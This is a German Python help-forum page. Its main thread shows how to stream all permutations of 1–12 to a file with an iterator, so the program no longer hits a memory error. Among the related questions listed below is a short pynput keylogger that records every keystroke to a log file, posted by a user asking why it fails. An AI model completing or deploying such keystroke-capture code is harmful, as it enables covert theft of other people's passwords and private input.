Permutationen bestimmen?

Ich brauche für ein Projekt alle Permutationen der Zahlen 1-12 und habe dafür folgendes Programm:

from itertools import permutations

zahlen = list(range(1, 13))
kombinationen = list(permutations(zahlen, len(zahlen)))

with open('kombinationen.txt', 'w+') as datei:
    datei.truncate(0)  # Die Datei leeren, falls bereits vorhanden
    for kombination in kombinationen:
        datei.write(', '.join(map(str, kombination)) + '\n')

Ich bekomme jedoch einen Memory Error wenn ich es ausführe, deshalb meine Frage: Lässt sich das irgendwie sinnvoll in mehrere Teile aufteilen, sodass jedes Mal kleinere "Portionen" berechnet werden?
Vielen Dank

1 Antwort

Vom Fragesteller als hilfreich ausgezeichnet

jo135

Von gutefrage auf Grund seines Wissens auf einem Fachgebiet ausgezeichneter Nutzer

Programmiersprache, Python

05.11.2023, 22:41

Der ganze Witz der Itertools ist es, mit Iteratoren bzw. Generatoren zu arbeiten, d.h. ohne alles erst in eine komplette Liste auszuwalzen. Du sabotierst das aber ziemlich gründlich, weil du doch das Bauen einer gigantischen Liste erzwingst:

kombinationen = list(permutations(zahlen, len(zahlen)))

Also weg damit (und noch ein paar Kleinigkeiten aufgeräumt), und schon passiert ganz von selbst, was du wolltest:

from itertools import permutations

zahlen = list(range(1, 13))
kombinationen = permutations(zahlen, len(zahlen))

with open('kombinationen.txt', 'w') as datei:
    for kombination in kombinationen:
        datei.write(', '.join(str(num) for num in kombination) + '\n')

alexx5678

Fragesteller

06.11.2023, 14:53

Vielen Dank für die Antwort, hat perfekt funktioniert! Ich habe gerade erst angefangen damit zu arbeiten deswegen entschuldige meine Dummheit :)
eine Frage hätte ich noch: die Datei die dabei entsteht ist zu groß um sie mit Texteditoren zu öffnen, gibt es eine Möglichkeit die Zahlen in mehreren, kleineren Dateien abzuspeichern? Vielen Dank

jo135

06.11.2023, 15:00

@alexx5678

Von Python aus nicht so einfach, weil die Zahl der Zeilen nicht von vornherein bekannt ist. Wenn du auf Linux oder MacOS arbeitest, lass dir die große Datei einfach mit split in kleinere aufteilen. Ich vermute, sowas gibt's auch irgendwo für Windows.

Wobei ich mich ein wenig frage, wofür die Datei im Texteditor öffnest - solche Riesendinger wird man doch eher programmatisch bearbeiten?

alexx5678

Fragesteller

06.11.2023, 15:12

@jo135

wobei man die Zahl der Zeilen ja vorher mit 12! berechnen könnte, aber das stimmt, eigentlich müsste ich sie nicht öffnen (ich wollte nur mal nachschauen)

jo135

06.11.2023, 15:24

@alexx5678

wobei man die Zahl der Zeilen ja vorher mit 12! berechnen könnte

Stimmt natürlich, ich meinte hier eher, dass man den gegebenen Datenstrukturen keine "Länge" entlocken kann. Man könnte klarerweise eine große Schleife drumherum legen und damit einzelne Dateien numeriert anlegen. Ich find's aber trotzdem einfacher, nötigenfalls nachher einen Einzeiler mit "split" zu machen.

Fürs "Nachschauen" tut es üblicherweise cat / more / less oder solche Tools.

Ähnliche Fragen

Python: Balkendiagramm beim Sortieren?

Hallo,

ich wollte ein Sortierverfahren programmieren und bei jedem Durchlauf durch das Array soll ein Balkendiagramm erzeugt werden.

Die sortierten Zahlen sollen rot sein und die unsortierten blau.

Bisher habe ich es geschafft, dass die sortierte Liste als Balkendiagramm angezeigt wird. Mein Programm sieht so aus:

def Sortierverfahren_Bubblesort(Liste):
  n = len(Liste)
  for i in range(n):
    for x in range(0, n - i - 1):
      if Liste[x] > Liste[x + 1]:
        Liste[x], Liste[x + 1] = Liste[x + 1], Liste[x]

Sortierverfahren_Bubblesort(Liste)
print("Sortierte Liste: ", Liste)

#Balkendiagramm
import matplotlib.pyplot as plt
import numpy as np

bar_width = 0.5
index = np.arange(len(Liste))
plt.bar(index, Liste, bar_width, color="blue")
plt.xticks(index, range(len(Liste)))
print("Balkendiagramm: ")
plt.show()

Es wäre cool, wenn mir jemand die Lösung dazu sagen würde.

...zur Frage

[Python] Wie kann ich eine "while-schleife" in meiner "for-schleife" laufen lassen?

Ich möchte innerhalb meines for-loops eine while schleife laufen lassen.

Die While-Schleife soll solange ein Image suchen bis die if oder elif das Image gefunden hat und entweder mit der For-Schleife fortsetzen oder das Programm beenden.

z.B

import string
import pyautogui

lst_1 = list(string.ascii_uppercase)
lst_2 = [x for x in reversed(lst_1)]

combos = []

for x in range(0, len(lst_1)):
    for y in range(0, len(lst_2)):
        combos.append([lst_1[x],lst_2[y]])
        
# Jetzt komme ich zu meiner Frage.
for x in range(0, len(combos)):
    print(f"{combos[x][0]}")
    print(f"{combos[x][1]}")
    while True:
        if pyautogui.locateOnScreen("wrong.png") != None:
            print("next")
            # break while-loop, continue with for-loop

           # while loop soll nach einem Image suchen,
           # solange bis die if oder elif gefunden wurde.
        elif pyautogui.locateOnScreen("right.png") != None:
            exit()
            # Wenn ein anderes bestimmtes Image lokalsiert wird,
            # soll alles gestoppt werden.

...zur Frage

Wie ziehe ich bei Python k aus n Elementen so effizient wie möglich?

Gegeben ist eine Menge mit n unterschiedlichen Elementen. Man will nun alle möglichen Kombinationen (ohne Wiederholungen, ohne Reihenfolge) aus diesen Elementen mit k < n Elementen bilden. Davon gibt es laut Kombinatorik genau n über k.

Beispiel:

Gegeben: Menge M = {1, 2, 3, 4, 5}, n = 5, k = 3.

Gesucht: Alle Kombinationen aus M mit 3 Elementen: {{1, 2, 3}, {1, 2, 4}, {1, 2, 5}, {1, 3, 4}, {1, 3, 5}, {1, 4, 5}, {2, 3, 4}, {2, 3, 5}, {2, 4, 5}, {3, 4, 5}}.

Ob die Ausgabe eine Liste ist oder sonstiges ist egal. Wichtig ist folgendes: Ich muss diese Art von Mengen berechnen mit Zahlen wie zB n = 56 und k = 13. 56 über 13 ergibt 1,8 Billionen. Ich will zB, dass diese 1,8 Billionen Ergebnisse einzeln ausgegeben werden. Also nicht am Ende eine Liste, sondern 1,8 Billionen mal die einzelne geprintet. Ausserdem soll das ganze so effizient wie moeglich sein. Bisher habe ich eine Variante die so funktioniert:

from itertools import permutations

    for indices in permutations(range(n), k):
        if sorted(indices) == list(indices):
            print(indices)

Das funktioniert, jedoch werden in der ersten For-Schleife alle Kombinationen berechnet mit Beachtung der Reihenfolge. Das ist VIEL zu ineffizient.

Kann mir jemand helfen?

...zur Frage

Warum will er in meinem Python code entry und entry nicht vergleichen?

import json
from typing import List, Any


def bubbleSort(result):
    n = len(result)

dicts = {}
with open('Schachnovelle.txt', 'r') as f:
   for line in f:
       for word in line.split():
          if word in dicts:
             dicts[word] += 1
          else:
             dicts[word] = 1

x = dicts.values()
#print(x)


class entry:
  word: str
  amount: int


sorted_values = []
for name in dicts:
    item = entry()
    item.word = name
    item.amount = dicts[name]
    sorted_values.append(item)

temp = 0
trade = True
while trade:
    trade = False
    for n in range(len(sorted_values)-1):
        if sorted_values[n] > sorted_values[n+1]:
            temp = sorted_values[n]
            sorted_values[n] = sorted_values[n+1]
            sorted_values[n+1] = temp
            trade = True


print(sorted_values)

...zur Frage

Python - Itertools Liste vergleichen?

Hallo,

ich habe aus einer Textdatei jede einzelne Zeile mit Hilfe von Itertools

a = combinations(zeilen, 2)

alle Möglichen Kombinationen in Zweiergruppen gepackt. Diese möchte ich nun mit Hilfe von fuzzywuzzy untereinander vergleichen. Das Problem ist, bei der Art vergleich werden zwei Angaben benötigt.

ratio = fuzz.ratio(zeile1, zeile2)

Meine Gruppe a habe ich aber ja nur einmal? Also klappt das folgende nicht

ratio = fuzz.ratio(a)

Wie genau kann ich dieses Problem lösen?

...zur Frage

Code funkitoniert nicht?

Ich habe versuchr einen Key-Logger In python zu machen aber er geht nicht

mein code:

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))

    with Listener(on_press=on_press) as listener :
        listener.join()

...zur Frage

Python neun tab mit urlabfrage öffnen?

Moin.

Vorab Entschuldigung für den Grad nicht umfangreich fragen title.

also er hat Eine liste mit url die soll er abfragen. Und sobald Die url sich ändert soll er neue tab mit der neuen url aus der url list öffnen. habe auch schon einen code dazu aber komme nicht mehr weiter.
from urllib import response

from requests import get

import time

import webbrowser

url_list = ["https://www.google.com/", "https://www.youtube.com/",

"https://www.facebook.com/", "https://www.instagram.com/", "https://www.twitter.com/"]

webbrowser.open(url_list[0])

while True:

response = get(url_list[0])

print(response.status_code)

if response.status_code != 200:

url_list.pop(0)

if len(url_list) == 0:

break

webbrowser.open(url_list[0])

continue

time.sleep(30)

...zur Frage

Python Zufallszahlen ohne Wiederholung?

Hi,

gibt es einen weg sich Zufallszahlen ohne Wiederholung ausgeben zu lassen? Ich will ein Array (Liste - wie auch immer das heißt ;) ) mit nicht wiederholenden Zahlen. Dabei habe ich selber einen Algorithmus erntwickelt aber der funktioniert noch nicht:

import random
import time


num = [None]*10
num2 = [None]*10
rand = 0


for i in range(len(num)):
    rand = random.randrange(1, 20)
    num2[i] = rand
    num[i] = rand
    if rand in num2:
        while rand in num2:
            #if rand in num2:
            rand = random.randrange(1, 20)
            num[i] = rand


num.sort()


for i in range(len(num)):
    print(num[i])


print('\n'+str(time.perf_counter()))

Das ist mein bisheriger Quellcode.

...zur Frage

Python Zeit und Tabelle?

Ich möchte in meinen Python-Code eine Zeit implementieren. Die Zeit soll mir sagen, wie lange das Programm für die Ausführung benötigt. Ich möchte, dass es sich wieder zurücksetzt, weiß aber nicht wie. Des weiteren möchte ich am Ende alle Ergebnisse einheitlich in einer Tabelle dargestellt haben. Ich habe bereits versucht, es mit "pandas" und "tabulate" zu lösen, hat aber leider nicht funktioniert. Wie löse ich das Problem?

Hier der Code (nicht sehr komplex):

import random
import time

zeitanfang = time.time()
zahlenliste=[]
t=1
z=1
a=100
time.sleep(0)
#Liste mit Zufallszahlen füllen
while t<3:
 Anzahl=int(input("Anzahl der sortierenden Zahlen:"))
  for i in range(Anzahl):
    zahlenliste.append(random.randint(0, a))
#unsortierte Liste ausgeben (array)
# print(zahlenliste)
#unsortierte Liste ausgeben (array)
# for i in range(len(zahlenliste)):
# print(zahlenliste[i])
  def bubblesort(liste):
    for i in range(len(liste)-1):
      if liste[i] > liste[i+1]:
        liste[i], liste[i+1] = liste[i+1], liste[i]
        zahlenliste.sort()
  zeitende=time.time()
  bubblesort(zahlenliste)
  print(z,zahlenliste, (zeitende-zeitanfang)*10000)
  print("Dauer des Programms:", (zeitende-zeitanfang)*10000, "ms")
  t=t+1
  z=z+1
  a=a+100
  print("")
  zahlenliste=[]

...zur Frage

integer zu liste in python?

hallo, ich würde in python gerne zahlen zu listen hinzufügen, ich hab das problem schon öfter gehabt aber hab nicht rausfinden können, wie.

wenn ich einfach die zahl hinzufüge, wer hätte es gedacht, lässt python es nicht zu

wenn ich str(zahl) hinzufüge, werden einzelne ziffern hinzugefügt

>>> liste = []
>>> zahl = 12345
>>> liste += zahl
TypeError: 'int' object is not iterable
>>> liste += str(zahl)
>>> print(liste)
['1', '2', '3', '4', '5']

...zur Frage

Wie in Python die Quersumme einer Ganzzahl berechnen?

zahl = 123
quersumme = 0
while len(str(zahl)) >= 1:
  str_zahl = str(zahl)
  quersumme = int(str_zahl[0]) + int(str_zahl[1])

????

...zur Frage

SWE Hilfe Jupyter Notebook - Versteht jemand, was ich falsch mache?

class Vektor:
  def __init__(self, Liste):
    for i in Liste:
      if type(i)! = (int or float)
        raise TypeError("VektorFehler: Im Vektor duerfen nur Zahlen stehen.")
      self.__Liste = Liste
      self.__Dim = len(Liste)

  def __str__(self):
    return str(self.__Liste)

  def __add__(self, anderen):
    Ergebnis = []
    try:
      for i in range(self.__Dim):
        Ergebnis.append(self.__Liste[i]+anderen.__Liste[i])
    except IndexError:
      print("VektorFehler: Die Dimension der Vektoren sind nicht gleich.")
      return False
    except TypeError:
      print("VektorFehler: Im Vektor duerfen nur Zahlen stehen.")
      return False
    else:
      return Vektor(Ergebnis)

  def __mul__(self, anderen):
    Ergebnis = 0
    for i in range(self.__Dim):
      Ergebnis += self.__Liste[i] * anderen.__Liste[i]
    return Ergebnis

if __name=="__main__"
  Vektor1 = Vektor([1, 2, 3])
  print ("Vektor1:", Vektor1)
  Vektor2 = Vektor([2, 3, "Orange"])
  print("Vekot2:", Vektor2)
  print("Summe1:", Vektor1 + Vektor2)
  print("Summe2:", Vektor2 + Vektor1)

Fehleranzeige:

File "<ipython-input-1-87427d9557df>", line 4
    if type(i)! = (int or float)
              ^
SyntaxError: invalid syntax

Versteht jemand, was ich falsch mache?

...zur Frage

bestimmte Excel Inputs mit Python auswählen und in eine andere Excel-Datei einfügen?

Hallo zusammen,

ich würde gerne etwas Neues mit Python ausprobieren. Es geht um eine Excel-Datei, aus der ich bestimmte Einträge in eine andere Excel-Datei einfügen möchte. Wie ihr sehen könnt, möchte ich die Einträge, die einen Farbnamen enthalten, in eine andere Datei in Klammern einfügen und den Farbnamen übersetzt davor schreiben. Haben Sie eine Idee, wie ich das machen kann? Ich wäre Ihnen für jede Antwort dankbar.

import openpyxl
from openpyxl import Workbook, load_workbook
book = openpyxl.load_workbook('datei.xlsx')

result = 1
valuesK = []
i = 1

while result <= 101;
	pages = 'Sheet' + str(i)
	sheet = book.get_sheet_by_name(Sheet1)
	vK = sheet['G1': 'G2259']

	for row in vK:
		for cell in row:
			if blue in cell:
			valuesK.append('Blau (' + cell.value + ')')
			elif red in cell:
				valuesK.append('Rot (' + cell.value + ')')
			elif grey in cell:
				valuesK.append('Grau (' + cell.value + ')')
			elif black in cell:
				valuesK.append('Schwarz (' + cell.value + ')')
			elif white in cell:
				valuesK.append('Weiß (' + cell.value + ')')
			elif offwhite in cell:
				valuesK.append('Elfenbein (' + cell.value + ')')
			elif brown in cell:
				valuesK.append('Braun (' + cell.value + ')')
			elif beige in cell:
				valuesK.append('Beige (' + cell.value + ')')
			elif pink in cell:
				valuesK.append('Pink (' + cell.value + ')')
			elif yellow in cell:
				valuesK.append('Gelb (' + cell.value + ')')
			elif orange in cell:
				valuesK.append('Orange (' + cell.value + ')')
			elif green in cell:
				valuesK.append('Grün (' + cell.value + ')')
			elif turquoise in cell:
				valuesK.append('Türkis (' + cell.value + ')')
			elif purple in cell:
				valuesK.append('Violett (' + cell.value + ')')
			elif gold in cell:
				valuesK.append('Gold (' + cell.value + ')')
			elif silver in cell:
				valuesK.append('Orange (' + cell.value + ')')
			else:
				valuesK.append('Multicolour (' + cell.value + ')')



	i += 1
	result +=1

	wb = Workbook()
	ws = wb.active

	filename='dosya'

	i = 0
	for i in valuesK:
		j += 1
		ws['A' + str(j)] = i
		int(j)

wb.save('datei2.xlsx')

...zur Frage

Python: Zeilenumbruch bei einer Liste?

Ich möchte am Ende gerne einen Zeilenumbruch einfügen.

storage.append("Dein " + str(run+1) + ". Satz besteht aus " + str(len(ausgabe)) + " Wörtern und lautet: " + str(ausgabe))

...zur Frage

Was möchtest Du wissen?

Deine Frage stellen